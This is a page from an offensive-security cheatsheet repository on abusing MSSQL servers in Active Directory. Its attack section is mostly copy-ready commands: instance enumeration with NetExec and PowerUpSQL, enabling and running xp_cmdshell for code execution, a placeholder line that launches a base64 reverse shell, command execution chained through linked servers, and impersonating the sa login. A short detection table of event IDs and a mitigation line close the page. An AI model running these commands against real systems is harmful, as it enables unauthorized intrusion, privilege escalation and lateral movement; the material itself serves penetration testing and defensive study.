repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-76-mssql-server-and-linked-server-abuse.mdMarkdown110 lines4.6 KiBsource raw download

title: "Attack #76 β€” MSSQL Server and Linked Server Abuse" description: "MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked…" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "adcs", "privilege-escalation", "lateral-movement", "sql-injection"] tools: ["NetExec", "Impacket", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/πŸ”· Attack #76 β€” MSSQL Server and Linked Server Abuse.md"#

πŸ”· Attack #76 β€” MSSQL Server & Linked Server Abuse#


πŸ“– How It Works#

MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked servers for cross-server lateral movement (hopping through database links to reach otherwise unreachable servers), and impersonation to escalate from a low-privileged DB user to sa.


βš™οΈ Prerequisites#

Requirement Detail
MSSQL access Domain user may have default access to MSSQL instances
xp_cmdshell or impersonation rights For execution and escalation

πŸ’» Full Commands#

πŸ”΅ Enumerate MSSQL Instances#

# ── NetExec ───────────────────────────────────────────────────────────────────
nxc mssql 10.10.10.0/24 -u low_user -p 'Password1'

# ── PowerUpSQL ────────────────────────────────────────────────────────────────
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded

πŸ”΄ xp_cmdshell β€” RCE#

# ── Impacket mssqlclient.py ───────────────────────────────────────────────────
mssqlclient.py corp.local/low_user:'Password1'@SQL01.corp.local -windows-auth

# Inside MSSQL:
# enable_xp_cmdshell
# xp_cmdshell whoami
# xp_cmdshell powershell -e <base64_reverse_shell>
# ── PowerUpSQL ────────────────────────────────────────────────────────────────
Invoke-SQLOSCmd -Instance SQL01.corp.local -Command "whoami"

πŸ”΄ Linked Server Hopping#

-- ── Find linked servers ──────────────────────────────────────────────────────
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;

-- ── Execute on linked server ──────────────────────────────────────────────────
EXEC ('xp_cmdshell ''whoami''') AT [SQL02.corp.local];

-- ── Double hop (chain through linked servers) ─────────────────────────────────
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SQL03.corp.local]') AT [SQL02.corp.local];

πŸ”΄ Impersonation#

-- ── Check who you can impersonate ─────────────────────────────────────────────
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

-- ── Impersonate sa ────────────────────────────────────────────────────────────
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
15457 SQL Server xp_cmdshell enabled
18456 SQL Server Failed login attempts
4688 Security Log sqlservr.exe spawning cmd.exe/powershell

πŸ”— Attack Chain Context#

[MSSQL Abuse] ──→ RCE via xp_cmdshell / lateral move via linked servers
         β”‚
         β”œβ”€β”€β†’ πŸ’» xp_cmdshell β†’ SYSTEM/service account on DB server
         β”œβ”€β”€β†’ πŸ”— Linked servers β†’ hop to unreachable network segments
         └──→ πŸ’€ Defeated by: disable xp_cmdshell, audit linked servers, least privilege

βœ… Attack #76 β€” MSSQL/Linked Server Abuse complete.